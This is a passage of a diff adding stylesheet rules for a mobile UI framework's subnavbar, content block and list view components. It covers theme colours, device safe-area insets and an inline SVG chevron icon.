+ position: relative; + overflow: hidden; + text-overflow: ellpsis; + white-space: nowrap; +} +.subnavbar .left, +.subnavbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.subnavbar .right:first-child { + position: absolute; + height: 100%; +} +.subnavbar-inner { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + overflow: hidden; +} +.subnavbar-inner.stacked { + display: none; +} +.navbar .subnavbar { + top: 100%; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.md .subnavbar { + height: 48px; + background: #2196f3; + color: #fff; +} +.md .subnavbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .subnavbar.no-shadow:after { + display: none; +} +.md .subnavbar .title { + margin: 0 16px; + font-size: 20px; + line-height: 48px; + display: inline-block; + text-align: left; + font-weight: 500; +} +.md .subnavbar .title:first-child { + margin-right: 56px; +} +.md .subnavbar .right { + margin-right: auto; +} +.md .subnavbar .right:first-child { + left: 16px; +} +.md .subnavbar a { + color: inherit; +} +.md .subnavbar a.link { + line-height: 48px; + height: 48px; + min-width: 48px; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + padding: 0 16px; +} +.md .subnavbar a.link:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-image: radial-gradient(circle at center, rgba(255, 255, 255, 0.15) 66%, rgba(255, 255, 255, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .subnavbar a.link.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .subnavbar a.icon-only { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + min-width: 0; +} +.md .subnavbar-inner { + padding: 0 16px; +} +.md .subnavbar-inner > a.link:first-child { + margin-right: -16px; +} +.md .subnavbar-inner > a.link:last-child { + margin-left: -16px; +} +.md .subnavbar ~ * .page-content, +.md .subnavbar ~ .page-content, +.md .page-with-subnavbar .page-content { + padding-top: 48px; +} +.md .navbar ~ .subnavbar ~ .page-content, +.md .navbar ~ .subnavbar ~ * .page-content, +.md .page-with-subnavbar .navbar ~ * .page-content, +.md .page-with-subnavbar .navbar ~ .page-content { + padding-top: 104px; +} +@media (min-width: 768px) { + .md .navbar ~ .subnavbar ~ .page-content, + .md .navbar ~ .subnavbar ~ * .page-content, + .md .page-with-subnavbar .navbar ~ * .page-content, + .md .page-with-subnavbar .navbar ~ .page-content { + padding-top: 112px; + } +} +.md .navbar ~ .subnavbar, +.md .navbar ~ * .subnavbar, +.md .page-with-subnavbar .navbar ~ .subnavbar, +.md .page-with-subnavbar .navbar ~ * .subnavbar { + top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ .subnavbar, + .md .navbar ~ * .subnavbar, + .md .page-with-subnavbar .navbar ~ .subnavbar, + .md .page-with-subnavbar .navbar ~ * .subnavbar { + top: 64px; + } +} +.md .color-theme-red .subnavbar, +.md .color-theme-red.subnavbar { + background: #f44336; +} +.md .color-theme-green .subnavbar, +.md .color-theme-green.subnavbar { + background: #4caf50; +} +.md .color-theme-blue .subnavbar, +.md .color-theme-blue.subnavbar { + background: #2196f3; +} +.md .color-theme-pink .subnavbar, +.md .color-theme-pink.subnavbar { + background: #e91e63; +} +.md .color-theme-yellow .subnavbar, +.md .color-theme-yellow.subnavbar { + background: #ffeb3b; +} +.md .color-theme-orange .subnavbar, +.md .color-theme-orange.subnavbar { + background: #ff9800; +} +.md .color-theme-gray .subnavbar, +.md .color-theme-gray.subnavbar { + background: #9e9e9e; +} +.md .color-theme-white .subnavbar, +.md .color-theme-white.subnavbar { + background: #ffffff; +} +.md .color-theme-black .subnavbar, +.md .color-theme-black.subnavbar { + background: #000000; +} +.md .subnavbar.color-red { + background: #f44336; +} +.md .subnavbar.color-green { + background: #4caf50; +} +.md .subnavbar.color-blue { + background: #2196f3; +} +.md .subnavbar.color-pink { + background: #e91e63; +} +.md .subnavbar.color-yellow { + background: #ffeb3b; +} +.md .subnavbar.color-orange { + background: #ff9800; +} +.md .subnavbar.color-gray { + background: #9e9e9e; +} +.md .subnavbar.color-white { + background: #ffffff; +} +.md .subnavbar.color-black { + background: #000000; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .subnavbar-inner, + .md.device-iphone-x .ios-edges .subnavbar-inner, + .md.device-iphone-x .popup .subnavbar-inner, + .md.device-iphone-x .sheet-modal .subnavbar-inner, + .md.device-iphone-x .panel-left .subnavbar-inner { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .subnavbar-inner, + .md.device-iphone-x .ios-edges .subnavbar-inner, + .md.device-iphone-x .popup .subnavbar-inner, + .md.device-iphone-x .sheet-modal .subnavbar-inner, + .md.device-iphone-x .panel-right .subnavbar-inner { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } +} +/* === Content Block === */ +.block { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; + z-index: 1; +} +.block.no-hairlines:before, +.block.no-hairlines ul:before, +.md .block.no-hairlines-md:before, +.md .block.no-hairlines-md ul:before, +.ios .block.no-hairlines-ios:before, +.ios .block.no-hairlines-ios ul:before { + display: none !important; +} +.block.no-hairlines:after, +.block.no-hairlines ul:after, +.md .block.no-hairlines-md:after, +.md .block.no-hairlines-md ul:after, +.ios .block.no-hairlines-ios:after, +.ios .block.no-hairlines-ios ul:after { + display: none !important; +} +.block.no-hairline-top:before, +.block.no-hairline-top ul:before, +.md .block.no-hairline-top-md:before, +.md .block.no-hairline-top-md ul:before, +.ios .block.no-hairline-top-ios:before, +.ios .block.no-hairline-top-ios ul:before { + display: none !important; +} +.block.no-hairline-bottom:after, +.block.no-hairline-bottom ul:after, +.md .block.no-hairline-bottom-md:after, +.md .block.no-hairline-bottom-md ul:after, +.ios .block.no-hairline-bottom-ios:after, +.ios .block.no-hairline-bottom-ios ul:after { + display: none !important; +} +.block > h1:first-child, +.block > h2:first-child, +.block > h3:first-child, +.block > h4:first-child, +.block > p:first-child { + margin-top: 0; +} +.block > h1:last-child, +.block > h2:last-child, +.block > h3:last-child, +.block > h4:last-child, +.block > p:last-child { + margin-bottom: 0; +} +.block-title { + position: relative; + overflow: hidden; + margin: 0; + white-space: nowrap; + text-overflow: ellipsis; + font-size: 14px; + line-height: 1; +} +.block-strong.inset { + border-radius: 7px; +} +.block-strong.inset:before { + display: none !important; +} +.block-strong.inset:after { + display: none !important; +} +.block-footer, +.block-header { + font-size: 14px; +} +.block-footer ul:first-child, +.block-header ul:first-child, +.block-footer p:first-child, +.block-header p:first-child, +.block-footer h1:first-child, +.block-header h1:first-child, +.block-footer h2:first-child, +.block-header h2:first-child, +.block-footer h3:first-child, +.block-header h3:first-child, +.block-footer h4:first-child, +.block-header h4:first-child { + margin-top: 0; +} +.block-footer ul:last-child, +.block-header ul:last-child, +.block-footer p:last-child, +.block-header p:last-child, +.block-footer h1:last-child, +.block-header h1:last-child, +.block-footer h2:last-child, +.block-header h2:last-child, +.block-footer h3:last-child, +.block-header h3:last-child, +.block-footer h4:last-child, +.block-header h4:last-child { + margin-bottom: 0; +} +.block-footer ul:first-child:last-child, +.block-header ul:first-child:last-child, +.block-footer p:first-child:last-child, +.block-header p:first-child:last-child, +.block-footer h1:first-child:last-child, +.block-header h1:first-child:last-child, +.block-footer h2:first-child:last-child, +.block-header h2:first-child:last-child, +.block-footer h3:first-child:last-child, +.block-header h3:first-child:last-child, +.block-footer h4:first-child:last-child, +.block-header h4:first-child:last-child { + margin-top: 0; + margin-bottom: 0; +} +.block-header { + margin-bottom: 10px; +} +.block-footer { + margin-top: 10px; +} +@media (min-width: 768px) { + .block-strong.tablet-inset:before { + display: none !important; + } + .block-strong.tablet-inset:after { + display: none !important; + } +} +.md .block { + margin: 32px 0; + padding: 0 16px; +} +.md .block-title { + color: rgba(0, 0, 0, 0.54); + margin: 32px 16px 16px; + line-height: 16px; + font-weight: 500; +} +.md .block-title + .list, +.md .block-title + .block, +.md .block-title + .card, +.md .block-title + .timeline, +.md .block-title + .block-header { + margin-top: 0px; +} +.md .block-strong { + padding: 16px; +} +.md .block-strong:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .block-strong:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .block-strong:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .block-strong:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.md.device-pixel-ratio-2 .block-strong:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .block-strong:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .block.inset { + margin-left: 16px; + margin-right: 16px; +} +.md .block-strong.inset { + border-radius: 4px; +} +.md .block-header, +.md .block-footer { + padding: 0 16px; + color: rgba(0, 0, 0, 0.54); +} +.md .block .block-header, +.md .block .block-footer { + padding: 0; +} +.md .block-header { + margin-top: 32px; +} +.md .block-header + .list, +.md .block-header + .block, +.md .block-header + .card, +.md .block-header + .timeline { + margin-top: 10px; +} +.md .block-footer { + margin-bottom: 32px; +} +.md .list .block-header, +.md .block .block-header, +.md .card .block-header, +.md .timeline .block-header { + margin-top: 0; +} +.md .list .block-footer, +.md .block .block-footer, +.md .card .block-footer, +.md .timeline .block-footer { + margin-bottom: 0; +} +.md .list + .block-footer, +.md .block + .block-footer, +.md .card + .block-footer, +.md .timeline + .block-footer { + margin-top: -22px; +} +.md .block + .block-footer { + margin-top: -22px; + margin-bottom: 32px; +} +@media (min-width: 768px) { + .md .block.tablet-inset { + margin-left: 16px; + margin-right: 16px; + border-radius: 4px; + } + .md .block-strong.tablet-inset { + border-radius: 4px; + } +} +.md .theme-dark .block-title { + color: #fff; +} +.md .theme-dark .block-header, +.md .theme-dark .block-footer { + color: rgba(255, 255, 255, 0.54); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-left-edge .block-header, + .md.device-iphone-x .ios-edges .block-header, + .md.device-iphone-x .popup .block-header, + .md.device-iphone-x .sheet-modal .block-header, + .md.device-iphone-x .panel-left .block-header, + .md.device-iphone-x .ios-left-edge .block-footer, + .md.device-iphone-x .ios-edges .block-footer, + .md.device-iphone-x .popup .block-footer, + .md.device-iphone-x .sheet-modal .block-footer, + .md.device-iphone-x .panel-left .block-footer { + padding-left: calc(16px + constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 0; + } + .md.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-right-edge .block-header, + .md.device-iphone-x .ios-edges .block-header, + .md.device-iphone-x .popup .block-header, + .md.device-iphone-x .sheet-modal .block-header, + .md.device-iphone-x .panel-right .block-header, + .md.device-iphone-x .ios-right-edge .block-footer, + .md.device-iphone-x .ios-edges .block-footer, + .md.device-iphone-x .popup .block-footer, + .md.device-iphone-x .sheet-modal .block-footer, + .md.device-iphone-x .panel-right .block-footer { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 0; + } + .md.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +/* === List View === */ +.list { + position: relative; + z-index: 1; +} +.list ul { + list-style: none; + margin: 0; + padding: 0; + position: relative; +} +.list ul ul:before { + display: none !important; +} +.list ul ul:after { + display: none !important; +} +.list li { + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-media { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding-bottom: 8px; +} +.list .item-inner { + position: relative; + width: 100%; + padding-top: 8px; + padding-bottom: 8px; + min-width: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.list .item-title { + min-width: 0; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + max-width: 100%; +} +.list .item-after { + white-space: nowrap; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + margin-right: auto; +} +.list .item-link, +.list .list-button { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + z-index: 0; +} +.list .item-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.list .item-subtitle { + position: relative; + overflow: hidden; + white-space: nowrap; + max-width: 100%; + text-overflow: ellipsis; +} +.list .item-text { + position: relative; + overflow: hidden; + text-overflow: hidden; + -webkit-line-clamp: 2; + -webkit-box-orient: vertical; + display: -webkit-box; +} +.list .item-title-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-title-row .item-after { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.list .item-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-cell { + display: block; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.list li:last-child .list-button:after { + display: none !important; +} +.list li:last-child > .item-inner:after, +.list li:last-child li:last-child > .item-inner:after, +.list li:last-child > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-content > .item-inner:after, +.list li:last-child > .item-link > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-link > .item-content > .item-inner:after { + display: none !important; +} +.list.no-hairlines:before, +.list.no-hairlines ul:before, +.md .list.no-hairlines-md:before, +.md .list.no-hairlines-md ul:before, +.ios .list.no-hairlines-ios:before, +.ios .list.no-hairlines-ios ul:before { + display: none !important; +} +.list.no-hairlines:after, +.list.no-hairlines ul:after, +.md .list.no-hairlines-md:after, +.md .list.no-hairlines-md ul:after, +.ios .list.no-hairlines-ios:after, +.ios .list.no-hairlines-ios ul:after { + display: none !important; +} +.list.no-hairline-top:before, +.list.no-hairline-top ul:before, +.md .list.no-hairline-top-md:before, +.md .list.no-hairline-top-md ul:before, +.ios .list.no-hairline-top-ios:before, +.ios .list.no-hairline-top-ios ul:before { + display: none !important; +} +.list.no-hairline-bottom:after, +.list.no-hairline-bottom ul:after, +.md .list.no-hairline-bottom-md:after, +.md .list.no-hairline-bottom-md ul:after, +.ios .list.no-hairline-bottom-ios:after, +.ios .list.no-hairline-bottom-ios ul:after { + display: none !important; +} +.list.no-hairlines-between .item-inner:after, +.md .list.no-hairlines-between-md .item-inner:after, +.ios .list.no-hairlines-between-ios .item-inner:after, +.list.no-hairlines-between .list-button:after, +.md .list.no-hairlines-between-md .list-button:after, +.ios .list.no-hairlines-between-ios .list-button:after, +.list.no-hairlines-between .item-divider:after, +.md .list.no-hairlines-between-md .item-divider:after, +.ios .list.no-hairlines-between-ios .item-divider:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after { + display: none !important; +} +.list.no-hairlines-between.simple-list li:after, +.md .list.no-hairlines-between-md.simple-list li:after, +.ios .list.no-hairlines-between-ios.simple-list li:after { + display: none !important; +} +.list.no-hairlines-between.links-list a:after, +.md .list.no-hairlines-between-md.links-list a:after, +.ios .list.no-hairlines-between-ios.links-list a:after { + display: none !important; +} +.list.simple-list li { + position: relative; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.list.simple-list li:last-child:after { + display: none !important; +} +.list.links-list a { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; +} +.list.links-list li:last-child a:after { + display: none !important; +} +.media-list .item-inner, +li.media-item .item-inner { + display: block; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background: none; +} +.media-list .item-media, +li.media-item .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.media-list .item-media img, +li.media-item .item-media img { + display: block; +} +.list .item-link .item-inner, +.links-list a, +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row, +.media-list.chevron-center .item-link .item-inner, +.media-list .chevron-center .item-link .item-inner, +.media-list .item-link.chevron-center .item-inner, +li.media-item.chevron-center .item-link .item-inner, +li.media-item .chevron-center .item-link .item-inner, +li.media-item .item-link.chevron-center .item-inner { + background-size: 8px 13px; + background-repeat: no-repeat; + background-position: 15px center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.links-list.no-chevron a, +.no-chevron .links-list a, +.links-list .no-chevron a, +.item-link.no-chevron .item-inner, +.no-chevron .item-link .item-inner, +.media-list.no-chevron .item-link .item-title-row, +.no-chevron .media-list .item-link .item-title-row, +li.media-item .no-chevron .item-title-row, +li.media-item.no-chevron .item-title-row, +.media-list.chevron-center .item-title-row, +.media-list .chevron-center .item-title-row, +li.media-item.chevron-center .item-title-row, +li.media-item .chevron-center .item-title-row { + background-image: none !important; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background-image: none; +} +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row { + background-position: left center !important; +} +.list-group ul:after, +.list-group ul:before { + z-index: 25 !important; +} +.list-group + .list-group ul:before { + display: none !important; +} +li.item-divider, +.item-divider, +li.list-group-title { + white-space: nowrap; + position: relative; + max-width: 100%; + text-overflow: ellipsis; + overflow: hidden; + z-index: 15; +} +li.list-group-title { + position: relative; + position: -webkit-sticky; + position: sticky; + top: 0; + margin-top: 0; + z-index: 20; +} +li.list-group-title:before { + display: none !important; +} +.list.inset .block-title { + margin-left: 0; + margin-right: 0; +} +.list.inset ul:before { + display: none !important; +} +.list.inset ul:after { + display: none !important; +} +@media (min-width: 768px) { + .list.tablet-inset .block-title { + margin-left: 0; + margin-right: 0; + } + .list.tablet-inset ul:before { + display: none !important; + } + .list.tablet-inset ul:after { + display: none !important; + } +} +.theme-dark .list .item-link .item-inner, +.list.theme-dark .item-link .item-inner, +.theme-dark .links-list a, +.links-list.theme-dark a, +.theme-dark .media-list .item-link .item-title-row, +.media-list.theme-dark .item-link .item-title-row, +.theme-dark li.media-item .item-link .item-title-row { + background-image: 